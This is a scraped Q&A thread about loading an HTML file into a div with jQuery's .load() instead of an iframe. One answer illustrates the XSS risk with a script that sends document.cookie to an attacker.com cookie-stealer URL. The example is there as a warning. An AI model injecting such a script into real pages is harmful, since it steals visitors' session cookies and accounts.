display html file in a div

2019-07-12 04:27发布

I've been trying to search for a way to do this as I'm sure there's hundreds of websites explaining it but I just can't word it right so all my searches come up with something else.

So I'm sorry if this has been asked many times before.

Anyway, what I'm trying to do is load a page 'page.html' inside a div. The page just has text and nothing else. So instead of using an iframe I want to load this page inside the div so that it'll only show the text that is on that page.

I've tried a few different things that I found during my search like;

$(document).ready(function() {    
    $("div").load("page.html") 
});

But for some reason that method changed all my text on the page instead of being inside that div. (I'm pretty horrible at coding so I've probably gone wrong somewhere with that method)

So can anyone suggest for a way to load the content of a page inside a div not using an iframe.

3条回答
唯我独甜
2楼-- · 2019-07-12 04:37

Short answer: You can't.

Long answer: You can, but it will be difficult, prone to errors, and a big security risk.

Let's say this is the page in which you want another one embedded:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe"></div>
 </body>
</html>

Then, here is the code of the page to be embedded within the first:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Embedded Page</title>
 </head>
 <body>
  <div id="content">
   Something interesting here...
  </div>
 </body>
</html>

Then, when it is embedded:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe">
   <!DOCTYPE html public>
   <html>
    <head>
     <title>My Embedded Page</title>
    </head>
    <body>
     <div id="content">
      Something interesting here...
     </div>
    </body>
   </html>
  </div>
 </body>
</html>

You can see the problem. You have two html elements, two heads, two bodys, two titles, and even two DOCTYPES. This is a benevolent example. Say that an attacker can change the url of the page to be embedded to one containing this:

<script type="text/javascript">
 window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie;
</script>

All of a sudden, your users are complaining about having their accounts hacked into, and the responsibility is landed onto your sholders. This is a simple example of XSS, and the real attackers could conceal it much better. Please, just use an iframe. That's what they were made for.

查看更多
Ridiculous、
3楼-- · 2019-07-12 04:58
$("#mydiv").load("myexternalfile.html");

Try this link

http://api.jquery.com/load/

查看更多
▲ chillily
4楼-- · 2019-07-12 04:59

$('div') is going to target more than you're looking for. If you're trying to load the content into a specific div element, give it an ID and target it that way.

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html');
}
查看更多
登录 后发表回答